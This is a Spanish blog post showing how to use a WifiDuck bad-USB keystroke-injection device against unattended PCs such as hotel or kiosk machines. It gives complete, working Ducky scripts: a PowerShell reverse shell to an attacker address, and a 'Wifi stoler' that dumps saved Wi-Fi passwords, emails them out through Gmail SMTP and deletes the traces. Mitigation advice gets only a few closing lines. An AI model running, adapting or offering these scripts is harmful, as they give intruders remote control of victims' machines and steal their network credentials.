WifiDuck - other bad USB

// 2021-09-19 // 4 min read

Overview

Los bad USB son unos viejos conocidos, el más popular es el USB Rubber Ducky de hack 5, pero podemos encontrar infinidad de información de cómo crear versiones económicas del mismo.

Este dispositivo es un pendrive que, ante el PC, se presenta como un teclado, con instrucciones programadas que ejecuta en el momento en que se conecta.

Se popularizaron de nuevo cuando en un episodio de Mr. Robbot, Darlen los usa para obtener el control de un sistema de la policía. Deja decenas de pendrive en la calle, delante de la comisaria, con la idea de que algún agente encuentre uno de ellos y lo introduzca en un PC.

Ésta era hasta ahora la estrategia de uso de los bad USB, un poco de ingeniería social, dejándolo olvidado en un sitio estratégico, a la espera de que algún curioso lo conecte a su PC.

Actualmente hay nuevas variantes y es con una de ellas con la que jugaremos esta vez.

Wifi Duck

El Wifi duck es un restailing de los ya mencionados bad USB, en este caso ideados para trabajar con equipos poco vigilados, a los que se haya podido tener acceso físico en algún momento, para conectar el dispositivo que controlaremos posteriormente a distancia.

Como su predecesor, este se presenta al PC victima como un teclado y crea un punto de acceso inalámbrico mediante la cual, el atacante, podrá comunicarse con él y ejecutar todo tipo de comandos.

Este dispositivo es parcialmente compatible con los scripts de Rubber Ducky, por lo que dispondremos de muchísimos ejemplos en internet, que funcionaran perfectamente después de algunas modificaciones. Podéis consultar algunos de ellos en el siguiente [github] (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)

Una vez lo hayamos conectado a un PC, buscamos el punto de acceso wifiduck (por defecto, aunque se puede cambiar en la configuración del dispositivo para pasar más inadvertido), desde nuestro PC atacante o dispositivo móvil.

A continuación, desde nuestro explorador web accederemos a la dirección http://192.168.4.1, accediendo así al panel de control de nuestro WifiDuck.

En la pantalla inicial encontramos los distintos scripts que tengamos almacenados, el editor de scripts y cierta información de ayuda para su uso.

Pensemos en un “totem” publicitario / informativo de un centro comercial, el pc de la recepción de un hotel o en cualquier equipo que, estando expuesto físicamente, pueda tener un USB descuidado. Estos, son candidatos susceptibles a ser comprometidos con este tipo de técnicas, que como veremos con los siguientes ejemplos nos permitirán ejecutar scripts o comandos a distancia.

Hello world

Como primer ejemplo qué mejor que el clásico hello world.

En el dispositivo crearemos el siguiente script.

WINDOWS r 

DELAY 200 

STRING notepad.exe 

RETURN 

DELAY 200 

STRING Hello playingwith.info 

Con estas pocas líneas, al ejecutar el script, se abrirá un blog de notas en el “PC victima” y se escribirá “Hello playingwith.info” en él.

Ahora que hemos ejecutado el primer ejemplo, supongo que ya se hace patente el potencial de este pequeño dispositivo.

Podéis encontrar la sintaxis completa en su wiki para crear vuestros propios scripts, combinando variaciones de teclado y comandos, el límite es la imaginación.

Remote shell

El siguiente ejemplo, un poco más divertido, nos proporcionará un acceso remoto al “PC victima”. Este código abrirá una PowerShell que proporcionará una shell remota a nuestro PC atacante proporcionándonos así control total del sistema comprometido.

Para llevarlo a cabo iniciaremos netcat en el pc atacante.

LOCALE ES 

WINDOWS r 

DELAY 200 

STRING powershell 

ENTER 

DELAY 200 

STRING $client = New-Object System.Net.Sockets.TCPClient("10.0.2.15",4242) 

ENTER 

STRING $stream = $client.GetStream() 

ENTER 

STRING [byte[]]$bytes = 0..65535|%{0} 

ENTER 

STRING while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ 

ENTER 

STRING $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) 

ENTER 

STRING $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> " 

ENTER 

STRING $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 

ENTER 

STRING $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()} 

ENTER 

Este, es un ejemplo de laboratorio, en un caso real usaríamos técnicas para que la ventana de PowerShell se ocultara y se ejecutara de forma discreta.

En el siguiente video podemos observar el ejercicio en acción.

Your browser does not support the video tag.

Wifi stoler

Para finalizar la práctica, este último script crea un fichero con las credenciales de las redes wifi que el “PC victima” tenga guardadas y nos las envía por correo electrónico.

LOCALE ES 

DELAY 2000 

WINDOWS d 

REM --> Open cmd 

WINDOWS r 

DELAY 500 

STRING cmd 

ENTER 

DELAY 1000 

REM --> Change directory (you can change this to something else to make less visible) 

STRING cd "%USERPROFILE%\Desktop" 

ENTER 

REM --> Get key 

STRING netsh wlan show profiles *  key=clear > Temp.txt 

ENTER 

DELAY 200 

REM --> Mail Log.txt 

STRING powershell 

ENTER 

DELAY 200 

STRING $password = ConvertTo-SecureString "password" -AsPlainText -Force 

ENTER 

STRING $Cred = New-Object System.Management.Automation.PSCredential ("[email protected]", $password) 

ENTER 

STRING $From = "[email protected]" 

ENTER 

STRING $To = "[email protected]" 

ENTER 

STRING $Attachment = "Temp.txt" 

ENTER 

STRING $Subject = "Wifi keysn" 

ENTER 

STRING $Body = "<h2>The data is in the attach!</h2><br><br>" 

ENTER 

STRING $SMTPServer = "smtp.gmail.com" 

ENTER 

STRING $SMTPPort = "587" 

ENTER 

STRING Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -BodyAsHtml -SmtpServer $SMTPServer -Port $SMTPPort -UseSsl –Credential $Cred –Attachments $Attachment 

ENTER 

DELAY 200 

STRING exit 

ENTER 

STRING cd "%USERPROFILE%\Desktop" 

ENTER 

REM --> Delete Temp.txt 

STRING del Temp.txt 

ENTER 

Nota: todas las credenciales de este ejemplo se han creado específicamente para el ejercicio y ya no se encuentran disponibles, no perdáis el tiempo. ;)

En el siguiente video podemos observar el ejercicio en acción.

Your browser does not support the video tag.

Conclusiones

Tanto los bad USB como los Wifiduck, son dispositivos que nos permiten ejecutar programas a distancia. Unos de forma autónoma y los otros a demanda. Ambos tienen precios asequibles, lo que puede ser importante ya que en caso de un ataque real posiblemente perderemos el dispositivo.

Como se muestra en los ejercicios realizados, nos ofrecen mucho juego, pueden ser una buena entrada a equipos a los que de algún modo se haya podido conseguir acceso físico para poder conectarlo.

Es difícil protegerse de este tipo de ataques, ya que el dispositivo se comporta como un teclado, lo que hace que los sistemas de defensa no lo vean como una amenaza. En el caso de equipos fácilmente accesibles puede ser interesante limitar el acceso a los puertos USB.

Por otro lado, toda política que limite el acceso a internet, sistema de comandos y PowerShell nos ayudara a mitigar la amenaza.

Hasta aquí el post de hoy. Espero haya sido de vuestro interés.
No dudéis en contactar mediante el formulario para hacerme llegar vuestros comentarios.